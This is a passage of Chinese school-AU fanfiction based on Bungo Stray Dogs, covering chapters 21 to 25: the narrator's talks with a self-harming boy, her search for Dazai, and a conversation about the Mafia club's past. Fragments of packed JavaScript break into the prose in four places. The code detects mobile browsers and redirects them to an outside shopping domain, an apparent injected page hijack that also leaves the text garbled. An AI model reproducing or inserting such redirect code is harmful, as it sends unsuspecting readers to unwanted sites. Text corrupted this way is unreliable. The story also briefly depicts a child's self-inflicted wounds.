这个表情,这个台词……呃,怎么说呢,他再长十岁我没准还会误会。但此时我的内心毫无波澜,想这是哪家小屁孩跑出来开屏了。 “可是……” 我无意让田中老师为难,朝她摇了摇头:“没事,田中老师。不影响” 田中老师还想多说,Q突然问:“你不换药吗?”他转头冷漠地看了一眼田中老师,眼里纯粹的恶意让田中老师身体一僵。附近不知何时进来的几个高壮保镖见状纷纷向Q走近一步,似乎他有暴动就会立马把他死死按住。 田中老师和我面面相觑,我朝她眨眨眼,她最终还是拿来医药箱。 当她把Q的长袖慢慢撸上去时,我倒吸了一口气。这个看起来可爱又阴暗的小学生胳膊上,竟然是密密麻麻、触目惊心的伤痕,或轻或浅,本应洁白光滑的手臂早已面目全非。 田中老师和其他保镖似乎习以为常,熟练地给Q上了一层新药。我艰难地从他的伤口上移开目光,发现这小孩一直在盯着我。 配合着他的伤口,竟然有几分瘆人。 “呐,学姐。”他装着天真的语气问我,“你知道……‘太宰治’这个人吗?” 随着这个问题的抛出,本就沉闷的医务室变得更加压抑,老师和保镖的身体都暗暗绷紧,似乎Q问了个“老子的杀父仇人死哪去了”这样的的问题。 “……”我没有立马回答,事实上我能回答的本来就少之又少。“你问他做什么?” “我要找太宰学长报恩。”Q朝我露出无害的笑容,就像正常的孩童一样纯粹。 我:“……” 以太宰学长的人品,我才不相信有人会找他报恩,好骗的小学生也不可能。而且,Q你脸上明明写着“寻仇”两个字吧。 我耸肩:“知道啊,二年级学长嘛。但不熟。”我糊弄过去,在他脸色变阴沉前又补了一句: “说起来,你胳膊上怎么弄的这么多伤?” 他又恢复单纯无害的样子,眼里隐隐藏着些许冷笑,他说:“当然是我自己弄的。” “不疼吗?”我对他的回答不是很意外。因为这样密密麻麻的伤口,又有深有浅,新旧不一,像是长时间自虐导致的。 “疼啊。”他面色如常地笑。虽然这么说,眼中的星星图案却没有闪烁,就如一个没有生命的洋娃娃。 “……疼就别弄了呗?”我学着他的样子,好像是随口说道。我们的语气轻松得像是在聊什么寻常话题。 Q猛地一怔。他的笑容慢慢消失,半天听不见回答,意料之中的,他没有再搭理我。 沉默了一段时间,田中老师突然起身,长舒一口气,对保镖摆摆手说:“好了,带他回去吧,注意事项出去说。” 田中老师你包扎的速度都快到要起火星子了啊! 保镖冷酷点点头,没有说话,只是用眼神逼视着Q,似乎在催促他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213641|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那个小孩缓缓动了,他轻快跳下床,保镖自动分开一条路供他出去,态度尊重又强硬,自始至终从未给予他多余选项。 “这个自虐的劲儿,倒是和太宰一模一样。”我侧过脸对田中老师小声吐槽。苍天可鉴,我亲眼看着她的眼睛慢慢睁大,像用眼神阻止我。可我已经把话说完了。 Q的脸肉眼可见地阴沉下去。像是听到了什么恶心人的话,五官皱在一起,这时候倒是像个小孩了——如果忽略眼底的恶意。 他意味深长地看我一眼,一言不发地率先走出医务室。保镖朝田中老师点点头,也离开了。病房迅速空了下来。 错觉吧……一个小屁孩有什么意味深长。我吐槽。 即使是一个年纪小小就连包扎都要在几个保镖的监视下进行的人。但只是个小孩,不是吗? 这么看来,从见到梦野久作的第一面起,我就对他没有任何忌惮之心。这一点,连太宰也比不上呢。 “听说下午‘Q’来过了?!”刚放学,与谢野晶子匆忙赶回来,拧眉打量着我。 “那个小孩子?”我听出她话中的担心,安慰性地张开双臂乖乖任她检查,“没有事啦,请放心。” 与谢野晶子仔细看了我两眼,松口气后又恨铁不成钢:“田中老师都和我说了,你就非得去和他搭话吗?” “那个小孩主动问的嘛。”我“噗”地把自己扔回病床。 ……可惜是硬床板,不但没有回弹,我的头还“哐”地撞到床头。 与谢野晶子像看傻子一样怜悯地看我痛苦地抱头在床上打滚,摇摇头:“看到你还是这副智商欠费的样子我就放心了。” “学姐,这算人身攻击啊。” 我揉揉头,瘫在床上,顺口问:“那个小孩什么来头?” 与谢野晶子塞过来一个温度计,慢慢说:“小学部的学生,有严重心理疾病,自残自虐倾向。大概两年前制造出不小骚乱,全校停课了一周。后来……”她的声音沉下去,“他休学了,由黑手党协会看守。” 我被这位小学生的英勇事迹震撼到了。久久未言。 十三岁,硬生生为全校师生争取了三天假期。未来可期。 我沉思:“所以那个小豆丁是怎么搞事情的?居然能让全校停课?” “那个家伙邪门得很。听说和他接触过的人都会失去理智,开始无差别攻击,最后范围越来越大。整个学校变成他主持的生存类沙盒游戏。”与谢野晶子冷笑,“应该和他的异能力有关。据说他是精神控制系异能者。” 又是异能力……哎,原来中二病的范围已经扩大到小学部了。 不过精神控制系异能…… 聪明如我,思考两秒就得到答案:是催眠吧!通过眼神和肢体交流给对方心理暗示,影响附近人的情绪,再通过一些小事引爆争执,形成大范围的骚乱。 虽然说一个小学生有这么高超的催眠技术很不可思议,但这的确是最合理的解释。而且,真相另有隐情也未必。 22. 寻找太宰中 我很快把这件事抛之脑后,掏出温度计:“学姐,体温正常。” 与谢野晶子点点头:“已经退烧了。你可以回宿舍了。” 在医务室躺一天的确够无聊的,但离开时候我还是有点不舍:“诶——这么快就要离开了吗?” 与谢野晶子无语地瞥我一眼:“病房待着有这么舒坦?” “还好,主要是清净。”我居然真的思考起优点。“抛开别的不谈,这里很适合自习呢。”隔壁病房也配有书桌。 “去自习室。” 没想到与谢野学姐这么认真地给我建议,我愣了一下,对比后也认真答复:“自习室没有医务室安静。”由于横滨高校社团文化繁荣,竟然没有安排晚自习,不过自习室倒是位置充足。但学校自习室的纪律实在堪忧,与其说是自习室,更适合叫休息室。 与谢野晶子挑挑眉,若有所思。 我把病房收拾好,思考一下发现自己也没带什么东西过来。愉快地起身准备回宿舍,转身和与谢野学姐打招呼:“那我先回宿舍啦——” “你可以来医务室自习。” 我们两个人的声音同时响起。 我呆滞:“诶?” 她从沉思中抬起眼看我一眼,“有什么问题?” “没问题啦……学姐你不需要去侦探社吗?” “不,我在侦探社只负责疗伤。大多数时间在研究人体结构,把资料拿到医疗室看也一样。” 我:猫猫宇宙头.jpg “你不愿意?” “怎么会?”我连忙道,“只是……太麻烦与谢野学姐了。” 她没搞懂我在说什么,给我一个眼神示意我说人话。 “从第一次见面,就一直承蒙学姐照顾……”在她默默的注视下,我竟然也生出几分不好意思,小声说:“我好像一直在麻烦你。” 与谢野晶子眉头微松,无奈地说:“你这家伙居然是敏感型的吗?” “也没有啦……” “放心吧。救助病人是医者的职责。”她随意地回答。 “放我进医务室自习,不算医者的本职吧?” “那就当是为朋友行的小方便吧。” 我愣住。朋、朋友? 她从喉咙发出一声轻哼。 我的脸居然有些红,我磕磕绊绊地说:“我、我知道了。那我先回去了?谢谢你……”我飞快瞥她一眼,声音慢慢变小:“……晶子学姐。” “……”她半天没说话。 我悄咪咪投过去的目光被她拦截,她不轻不重地瞪我一眼。我赶忙离开,匆忙中只瞥到她同样微红的耳垂。 回到宿舍,我发现之前装在脏衣篓的衣服竟然被洗干净而且整洁地叠好放在我的床上。 快说谢谢小银! 我拿出手机给小银发消息,告诉她我回宿舍了。 我看了眼时间,现在还早。凝重地把手机息屏,我怀着壮士扼腕的坚毅之情,悲壮走出寝室。 经过在医务室一天的头脑风暴,我决定和太宰学长谈一谈。如果因为莫名其妙的理由被救过自己的人讨厌,我这两天都不会安心的,还不如从源头解决问题。 而且……根据晶子学姐说的,太宰学长应该不算讨厌我吧? 那么,就去找太宰学长吧! 第一站,武装侦探社! 直美和绮罗子围着我问身体怎么样,对我动辄医务室一日游的身体感到担忧。国木田独步推推眼镜,冷静地说:“太宰翘班了。”我郁闷地走出侦探社,顺便在侦探社楼下的漩涡咖啡厅吃了三份甜品,拒绝了美丽服务员小姐姐提供的咖啡,磨磨蹭蹭地离开了。 第二站,高二年级部! 按照太宰的性格,放学这么久还留在教学楼的概率微乎其微,但我还是去高二楼转悠了两圈。居然意外看到了在教室辅导学生的……中原中也? 他依旧戴着新的礼帽,咬牙切齿地看着教室里仅剩的两三个把头埋进练习册的学生,恨声说:“电流峰值变小啊!周期公式又忘了——月考怎么办?别丢黑手党的脸啊!”他咆哮的声音透过窗户传入我的耳朵,我身体一僵,放轻脚步走掉了。……话又说回来,加入黑手党还有学历要求吗? 第三站,校园河岸! 真是一个悲伤的地方,光是站在河岸边就能回忆起落水的狼狈模样。但很显然这里也不是太宰的藏身处。河岸边有说笑着走过的学生,在此驻足的我像个伶仃的孤儿。路过的条野采菊笑眯眯地说:“哟,这不是佑木吗?听说你昨天和别人跳河殉情。今天呢,没人陪你入水了?” ……我用幽怨的眼神送走了条野采菊,他的背影都流露着诡异的愉悦。风刮起一片落叶,让我的身影更加萧条。夏目校长又从我身边匆匆走过,这次没有带手杖。——但是,为什么远处又有找猫的学姐? 第四站,学校食堂! 在漩涡咖啡厅吃了三份甜品的我表示本人正在长身体,又愉快地点了一份牛肉盖饭开始大快朵颐。吃着吃着,眼前投下一片阴影,有人施施然在对面落座。 坂口安吾直截了当地问:“不是去还伞吗?怎么听说昨晚有人落水了?” 我把饭咽下,想了想,还是没和坂口学长详细说黑手党的事情。把还伞的事情含糊地一笔带过,简略地讲了讲和太宰意外落水的事情以及发烧去医务室的结果。 “你的经历真是丰富。”坂口安吾没忍住吐槽。 我耸耸肩,往嘴里又送了一口饭。 “所以你现在要找太宰?”他的目光转移到我不停咀嚼的腮帮子,哑然失笑:“找到食堂来了?” “饿了嘛。而且太宰也躲得太好了。” “是啊,那家伙。”坂口安吾轻叹,“只要他愿意,谁都找不到他。” “可是我找到了呀。”我匆匆说了一句,把餐盘的饭扒拉进嘴里,便端起餐盘准备送到工作人员处,对怔住的坂口安吾笑了笑:“我先走啦,坂口学长。” 走出侦探社的我决定在楼下的咖啡厅犒劳一下自己。无他,甜品的香味实在诱人。 美丽的服务员小姐姐在我落座好久才带着完美的笑容走过来,那无懈可击的笑容下隐藏着怒火。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213642|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“欢迎光临本店,请问您需要什么呢?” “来一份——啊,你为什么看起来这么生气呢?” 她下意识收了收抿着的嘴,然后朝我温柔一笑:“只是在苦恼某个一直赊账的顾客罢了。真的很抱歉影响了您的心情。” 我摇摇头:“并没有,真诚祝愿你的心情能变好。一份芒果大福,谢谢。” 她笑着鞠躬离开,转身时扬眉瞥了一眼咖啡厅的某个角落,嘟囔道:“真不知道为什么突然躲起来,和做贼似的……” 我仿佛没听见,全神贯注地盯着窗外人群熙熙攘攘的景象。等到大福上桌,我借着银色餐具的反光看了一眼身后——也就是服务员小姐刚刚瞥的地方。那是很隐蔽的角落,处于进门和上楼时的视线死角。几乎没有人会注意到那个地方。意料之中的,我什么都没看到。 我神色如常地吃完那份芒果大福,又招手叫来服务员小姐姐,让她上一份抹茶大福和草莓小蛋糕。 “三份甜品,会腻的。”服务员小姐姐温馨提醒我,显然她对我抱有好感。 “没关系,我在等人。”她明了,微笑点点头退下。 甜品上桌后,我吃起草莓小蛋糕。抹茶大福放在对面,一眼望去好像在与人共进甜品。但直到我吃完蛋糕,仍然没有人走近。 吃完草莓小蛋糕已经有点腻了,我还是秉持着不浪费的心态吃完抹茶大福,还好这个不是很腻。这时服务员小姐问我能否请我喝杯咖啡,大概是看我一个人默默吃完两份甜品,以为我被放鸽子了想要安慰我。 我摇摇头拒绝她的好意,最后看了一眼那个角落后离开了。 临走前,我幽幽加了一句:“小姐,对付赊账不还的无赖,最好让他买一份意外保险哦。” 看着她亮起的眼眸,我微微一笑,深藏功与名。 漩涡咖啡厅的甜品实在美味,甜而不腻,口齿留香,尝一口就欲罢不能。 可我吃了三份,都没能开心起来。 因为我在咖啡厅坐了这么久,角落的某个绷带怪人都没有主动出现在我面前。 在食堂解决晚餐后,我去淋浴间冲了个澡。当我擦着头发回到宿舍,发现小银已经回来了。 “小银,今天回来这么早吗?”我惊讶地问。 “……收到了你的消息。”银简洁地说。 懂了,担心我。 我笑嘻嘻地问:“关心我?” 银默了默,最后轻轻“嗯”了一声。倒是我有点不知所措,笑着把吹风机插上电。 “昨天的事,让你讨厌黑手党了吗?” 小银和芥川都是黑手党的成员,我实在无法当着她的面说“你们首领是个变态精神病”这种话。我避重就轻:“只是有些不愉快,但不算讨厌。红叶学姐还是很温柔的。” “那就好。”小银松了口气,“尾崎学姐让我转告你明日到咖啡厅小叙,我还以为你不愿意。” 我手一抖,没注意打开了吹风机的开关,冷风开到了最大档痛击我的脸,头发被吹得乱七八糟,仿佛街头流浪汉。 我:“……” 23. 振翅红叶 尽管昨晚来自红叶学姐的邀请让我有点慌张,但第二天还是投入了焦虑的复习,很快把这件事抛之脑后。 不仅上课认真听讲,下课也焊在座位上疯狂背知识点,连芥川都多看我两眼。 “……你身体刚康复,应注意休息。” 小银告诉芥川的吗?我想了想,问:“小银怎么和你说的?” “你还完伞后回宿舍时着凉了,所以昨天发烧请假。” 啊这……真是好骗啊芥川。 不过,还是小银考虑得周到。如果让芥川知道我和他亲爱的太宰学长一起跳河,很难说他是先关心太宰学长还是先大义灭亲除掉我这个谋害太宰的朋友…… 我目移:“看来小银都和你说清楚了。” 他冷淡地看着我,眼底有着怀疑:“路上着凉,能发烧一天?” 我冒出冷汗,心虚地说:“是,是啊。” 他皱眉,继续说:“听说太宰学长那天入水了……” 我大惊!芥川你为什么如此敏锐? “事实就是如此!”我斩钉截铁地打断他,坚定地说:“相信我和小银!”接着假装被窗外什么东西吸引了注意,起身离开教室。 ……芥川面无表情,没有被我听到的下半句消散在空气中。 “太宰学长入水都没有发烧。你回宿舍都着凉请假一天。太弱了。” 他又喃喃自语。 “嗯,不愧是太宰学长。” 后来芥川没有再提起这件事,我安安分分学了一天,感觉头好痒,要长脑子了。 值得一提的是很多同学都过来关心我,让我有些受宠若惊。毕竟我在班里并没有很出彩,和同学的交往也仅限于能帮助的时候帮一把,课间聊聊天而已。 下午放学,按照昨日的约定去医务室自习。真别说,医务室宽敞而且通风,也不像自习室那么嘈杂。加上和晶子一起自习,看着她摆弄桌子上的人体模型,完全不敢开小差啊! 学习效率up 时间差不多的时候,我起身想要离开。晶子拒绝了去食堂,继续闷在医务室研究人体构造。本来想要强行拉着晶子去吃饭,但不经意听到她苦恼地喃喃:“模型还是不够具体……” ……我尽量地放轻脚步,在不打扰她的前提下小心翼翼把门带上了。 吃完晚饭,我前往咖啡厅。不是漩涡咖啡厅,而是上次避雨的那一家店。进门才发现红叶学姐已经等候多时,我注意到座位仍是我们上次交流的那个靠窗座位。 “红叶学姐,下午好。” “小佑。”她朝我颔首,递过来菜单。我随便点了一杯,郁闷想到今晚别想睡了。 “听说你昨天发烧了?现在还好吗?” “已经好啦,我恢复得特别快。”我直接切入话题:“红叶学姐,今天约我有什么事情吗?” “只是想和你聊聊天。”尾崎红叶笑眯眯道,“上次来还伞,吓坏了吧?” 我挠头:“……是有点。不过是我走错楼层在先。” 察觉到我礼貌疏远的语气,尾崎红叶总结:“因为这件事,讨厌起了黑手党?” 我摇摇头:“怎么会?中也学长并没有伤到我,红叶学姐你还帮我解了围。” “嗯,那么问题就在森首领这里了。” 不愧是红叶学姐……真敏锐。讨厌黑手党肯定不至于,只是想到他们的首领是那样糟糕的大人,就无法正常看待黑手党。 我心思千回百转,还是没有正面回答,而是问出了我的问题:“红叶学姐,你为什么会加入黑手党呢?” 明明像你这样优秀的人,加入哪个社团都会发光,甚至在学生会工作也毫无违和。 “呵呵。你觉得,现在的黑手党很糟糕?” 红叶学姐,你会读心术吗?我郁闷地说:“红叶学姐你一直在把问题抛回来诶,好阴险。” 她一愣,然后扶额微微笑起来:“抱歉,职业病。” “妾身之所以留在黑手党,是为了改造它。” “诶?改造?” “是的。小佑是转校生,没有见过曾经——老首领手下的黑手党。” 她的语气突然变得冰冷,却不是针对我,似乎是想起不悦的回忆。我心头一跳,突然想起,那天夜雨分别,这位绝美学姐吐露出的话: 妾身杀死了“雨”。 “老首领不仅担任黑手党社长,还是教导处主任。他受贿收礼,残暴蛮横,以体罚学生为乐。黑手党在他的带领下,权力达到巅峰,连学生会和当时的校长也无能为力。” “学生在他的管理下苦不堪言,总被他以各种理由处分、体罚,甚至休学,一时间人人自危,黑手党协会成员更是经常直面他的怒火。整个学校笼罩着黑暗的氛围。” “那时候的横滨高校,已经是一座监狱了。” 尾崎红叶握着杯子的手逐渐收紧,红唇微动,吐露出冰冷的话语。 “即使妾身是黑手党的成员,也无法忍受老首领的作为。就在那个时候,妾身结识了泽君。” “泽君?” “他叫高桥泽。在他的劝诫下……妾身,提交了退社申请书。” 我心中一惊。学校的退社流程非常麻烦,一般学生无故退社会被视为与原社团为敌。何况是当时的黑手党协会。 “……后来呢?”我轻声问。尾崎红叶现在仍留在黑手党,可见当时的计划没有成功。 那么,后果是什么? 她久久未言,半晌,道:“老首领没有同意,顺藤摸瓜查到泽君。以挑唆同学的名义……将他劝退了。” 劝退?! 先不说这样荒谬的理由,中学生被学校劝退,对其影响可是很大的,如此恶劣的档案即使托关系也难以找到愿意收留的学校。 尾崎红叶撑着额头,看着杯中精美的拉花:“……泽君退学以后,我再也没有收到过他的消息,直到今天。” “而妾身,被强行留在了黑手党。” “那时候,学姐几年级?” 尾崎红叶微笑:“……中学二年生。” 一个低年级的学生退社失败后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213643|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友被劝退杳无音信,自己被强行留在一个以暴力为本质的社团,而社长又恰好残暴冷漠。看着如今连发髻和和服外套都流露着端庄优雅的红叶学姐,难以想象她此时平和的眉眼下有多少隐痛。 “对老首领来说,他不过是使用了往常惯用的手段留住社员。对妾身来说——”尾崎红叶啜饮一口咖啡,睫毛轻颤,殷红的眼尾像是挣扎的蝴蝶。“妾身一生中,都不会忘记此月此夜,即使死亡妾身也不会忘记的此月此夜。” “那就是,泽君离开的那夜。” 那抹鲜红的眼尾随着她眼眸抬起而睁开,像是振翅的蝴蝶。她眼中闪过一丝寒光,似运筹帷幄的军师,又是孤注一掷的赌徒。 “不能让横滨高校这样下去了。这是所有人的想法。万幸的是,森鸥外上位后,整顿黑手党上下,维护校内外秩序,和其他两方势力联手,才有了今天的横滨高校。” “佑木,你觉得森首领如何?” 我犹豫一下,面对她仿佛在燃烧的妩媚眼尾,还是实话实说:“变态精神病萝莉控大叔。” 她低声笑了好久,才和我说:“但就是他,于危难之中挽救横滨高校。” “森首领领导的黑手党协会,真正成为了横滨高校黑夜的守护神。”尾崎红叶眼也不眨地看着我:“这就是黑手党存在的意义。” 守护横滨高校?我怔住。 “那么,黑手党的改变,全靠森先生?” “可以这么说。”尾崎红叶轻声说,“他的确有些奇怪癖好,但这并不代表,他不值得尊敬,佑木。” 我沉默一会。尾崎红叶耐心地等待我的回答。 我说:“我能再问一个问题吗?红叶学姐。” “嗯?” “那个‘爱丽丝’,是他的什么人?” 尾崎红叶静静看着我:“他的女儿。” “……那他在现实中有女儿吗?” “这么多年来,妾身没有听他提过任何亲人。” “……”我陷入沉默。 那个叫“爱丽丝”的不存在的幼女被森先生视为女儿,一个精神分裂症什么情况下会幻想出女儿在自己身边?他真正的女儿去哪里了?……或许这些现象下,是我不愿意探寻的真相。 或许他的女儿遭受了什么意外,让极度痛苦的森先生患上精神分裂症,以为女儿仍在自己身边。这就解释了为什么森先生对爱丽丝有那么偏执的宠溺和痴迷。那并不是幼女控变态,只是父亲对女儿的补偿心理。 即使是举目无亲,女儿下落不明,深陷幻想深渊的森先生,也仍坚持担任黑手党首领一职,为了守护横滨高校的黑夜吗? “我明白了……”我喃喃道:“森先生,确实值得尊敬。” 我也同时明白,为什么面对这样不正经的首领,红叶学姐和中也学长仍愿意跟随他,并且接受爱丽丝的存在。这样的首领,怎么会不让手下动容。 尾崎红叶眉毛微微抽了抽,猛然瞥见我微红的眼眶,表情微妙:“……?” “佑木,你在想什么?” 24. 自习室午夜惊魂 “佑木,你在想什么?” “谢谢你,红叶学姐。”我起身朝她鞠躬,“解除了我对森先生的误会。” “……误会?” “是的,我为我先入为主的偏见感到抱歉。” 尾崎红叶沉默了,看着我欲言又止,又不知从何说起。她最终试探地问:“有空来社团玩?森先生还挺喜欢你的。” 我答道:“只要没有人突然冲出来把我按到地上,我没问题。” “当然,不会再出现上次的意外。” ……连这种邀请都答应了,看来完全接受黑手党了啊。尾崎红叶挑眉,但她完全没有明白关键点在哪里,难道她的经历足矣让佑木改变对森首领的印象? 想到这,尾崎红叶看我的眼神更加温柔。 我把牛奶和糖全倒进咖啡,和尾崎红叶又聊了其他话题,到底惦记着我的月考,过了一会我便起身告辞。 “对了,红叶学姐。” “怎么了?” 我顿了一下,没控制住好奇心:“老首领那么残暴的人,怎么把职位交给森先生的?” 把感兴趣的问题抛出,本来兴致勃勃地期待着答案,却发现这个问题像石子投入死水,没有激荡起一丝涟漪,甚至更加寂静。 “……老首领身体不好,那时候森首领还是医疗部主任,经常给老首领看病。” “森首领能力强,深得老首领赏识。后来老首领因病提前退休,社长之位也传承给森首领。” “诶?这么简单吗?” “呵呵……为什么这么说?” “小说看多了……我以为这样势力庞大的社团,社长的更迭会有各种阴谋诡计明争暗斗呢。” 尾崎?暗中帮助森鸥外除敌?红叶:“……” 尾崎红叶意味深长地看着我:“想知道具体细节,你可以去问太宰。你们应该不陌生。” “诶?太宰?” “太宰君曾经是森首领的学生,是森首领刚继位时的最强助力呢。” 原来太宰这么厉害吗?我点点头:“我对这些细节没多大兴趣啦,不过多谢红叶学姐了。” 我挥挥手,结完账后离开了咖啡厅。想起那振翅欲飞的红带袖蝶,耳畔回响她的呢喃。 ——妾身杀死了“雨”。 一只羊、两只羊、三只羊…… 我百无聊赖地躺在床上数羊,毫无困意。眼睛盯着天花板,怨念深重,使我像得了甲亢。 咖啡,一生之敌! 人一睡不着就容易乱想,特别是像我这样心思敏感的小女孩,白天和红叶学姐聊了一下午黑手党曾经的残暴统治后,此时的我满脑子想得都是—— 月考。= = 闭着眼睛都能在脑中精确勾勒出天花板的那块小污垢的轮廓,毫厘不差。我扶着脑袋起身,干脆穿上衣服,拿上书起身去自习室,省的躺在床上睡不着干焦虑。 我小心翼翼推开自习室的门,意料之中的,虽然自习室空无一人,但也没有锁,甚至没停电。这边的宵禁实在是太自由了啊,我再次感叹,于是找了个座位坐下,翻开书本。 两眼一睁就是背。 正当我背得天昏地暗头晕眼花时,走廊传来不紧不慢地脚步声,在寂静的教学楼走不断回响,显得十分突兀。 我指尖一抖,一页还没有背完的题就这样被翻过。虽然大半夜勇闯自习室的我胆子不算小,但在深夜无人的封闭空间听到越来越近的脚步声还是难免不安。 冷静点……虽然这个时间点,就连小银那样的黑手党也差不多到宿舍了…… 微弱的“咔哒”声响起,是自习室门被打开的声音。 “吱呀——” 我:瞳孔地震! 立原道造,黑手党黑蜥蜴小队十人长,实际是学生会猎犬小队成员派到黑手党的卧底。勤勤恳恳完成黑手党的每日夜巡任务后,还要写报告给学生会。人生就仨字,打工人。 写报告也是个技术活。在黑手党社团写报告就是活腻了;在学校上课就很累了绝对不要加班;舍友也是黑手党成员,长期在宿舍写报告很可能会暴露……最后,立原道造发现深夜的自习室是个好地方,毕竟此时连黑手党都下班了,横滨高校绝对没有深夜还在自习室内卷的狠人。 今天,刚夜巡完的立原道造拖着疲惫的身躯一如既往地绕开监控走向自习室,刚靠近他就觉得有蹊跷。本应和其他教室一样漆黑的自习室竟然从门缝流露出一点光线,难道是他深夜去自习室的行迹暴露了……立原道造心下一沉,一边想着如何解释,一边控制着无聊不耐的表情,凝重地推开自习室的门。 自习室内依然昏暗,只有正对着门口的桌位开着小灯,暧昧的灯光隐约勾勒出一个女人的半边眉眼,另外半边脸和身体隐入黑暗。而那个女人黑色的长发披在身后,刘海下漆黑的双瞳此时微微睁大,悄无声息地直勾勾盯着开门的他。 立原道造:“……”有那么一瞬间想报警。 结束了一天的卧底生活,一开门感觉这辈子都完了。 所以我该说什么? 距离那个男生突然打开自习室的门已经过去了半分钟。那个鼻梁贴着创可贴看起来十分不良的少年此时神色莫辨地杵在门口,好像遭受了某种冲击。 看到他好像看起来比我还害怕,我安心多了。 我清清嗓子:“你好?” 立原道造看向我桌上的练习册,沉默一瞬,有些无力地问:“深夜内卷?” “啊……晚饭后喝了点咖啡,晚上睡不着,干脆来自习室了。” “既然不想失眠,晚饭后就别喝咖啡啊。”立原道造吐槽。 “学姐邀请,不方便推辞。”我有些不好意思。 “什么学姐,肯定是不靠谱的家伙。”立原道造不爽道。咖啡唤醒了他某些不好的回忆,比如某个雨夜被黑手党干部一通电话叫去咖啡厅送伞,难道下属的命就不是命吗?那么大的雨,很冷的好不好!途中还遇到了不知从哪逃过来的小混混,又被迫加班。 我无言以对,红叶学姐到底是黑手党的成员,晚上有社团活动,应该没有意识到那个点喝咖啡有什么不对。说到夜间活动,这么晚了,除了我居然还有人在教学楼吗? 我思索一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213644|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你是黑手党?” 他挑眉,很快应承下来:“是啊。本来都夜巡完了,发现这里还有灯光,就来看看。”他瞥我一眼:“没想到是个卷狗。” 我刚想为增添了他的工作量而道歉,转而又想到他答应的未免太快,似乎是故意顺着我的话说下去。我仔细看他一眼,嗯,他居然还抱着笔记本电脑。 谁家夜巡专门抱着笔记本啊?我心念一动:“你来自习室分明是想开夜车吧?” 立原道造无言以对。他索性挑了个位置坐下,打开笔记本:“切,随便你怎么想。”反正这女人不是黑手党的,早点把报告解决回宿舍睡觉。 啊,这算承认了吧?毕竟是黑手党,还一副混混打扮,平时不好意思来自习室学习,只能等晚上偷偷来,所以看见我才那么紧张。 正好接受完知识的洗礼,我酝酿出几分困意,为了不打扰这个要面子的黑手党少年学习,我收拾好资料起身离开自习室,小声安慰他:“不就是半夜出现在自习室吗?都是为了月考,不磕碜。” 他停下在键盘上敲敲打打的动作,转头看向我。 “等一下。”他的声音在黑暗中竟有些冰冷,“你是几年级的?我怎么没见过你?” 我留步,有些无奈地说:“我是刚转来的,你还没眼熟吧。” 他不置可否,蹙眉打量着我,这时的他似乎和刚刚直率吐槽的少年略有区别,更有压迫感。我只好继续说:“我叫千叶佑木,一年生。” 他若有所思地点点头,补充道:“今晚遇见我的事,不要外传。” 好强的自尊心。我扶额。还是无可奈何地答应了他……我都不知道你的名字诶,怎么传? 见他没有自我介绍的意思,我很快离开自习室。不过少年刚刚盘问我的样子完全不像黑手党,倒像学生会。 错觉吧,当初我还误以为红叶学姐是学生会成员呢(虽然是她刻意引导的结果)……这件事很快被我抛之脑后,我爬回被窝沉沉睡去。 后面两天我陷入了快节奏的复习,焦虑驱使着我把知识机械地塞进脑子里,味同嚼蜡。即使知道这样子效率很低,但短时间内我找不到其他合适的方法。 连芥川都对我这样玩命死磕的态度感到担忧,当然这只是小银转告给我的,不知道他私下怎么给小银说我坏话。 每天放学我都照例去医务室和晶子自习,只是我离开的时间越来越晚,有时候竟然轮到晶子赶我走。面对她明里暗里的关心,我无以回应,只能含泪发誓月考完的长假要好好玩。 期间倒是禁不住嘴馋又跑了趟咖喱店,不过没有点特辣咖喱饭,而是常规版的,我可不想在月考周再来一次肠胃炎。耽误复习且不提,一定会被晶子打死的吧……织田学长一如既往的天然,遵循上次的约定,月考完的假期与我去孤儿院。 这样玩命的复习,晚上回宿舍当然是沾床就睡,一夜无梦。我再也没有在深夜去过自习室,也不知道那个少年是否还在挑灯夜战。但那件事也经常激励我:人家黑手党都偷摸着卷,我还有什么理由懈怠?! 就这样,貌似只有我关心的月考如期而至。 25. 月考大作战 “小银,幸运女神!祝福我吧!”我紧紧握着小银白皙的双手,深情地看着她。 “……佑木,加油。”她耳尖微红,轻轻地说。 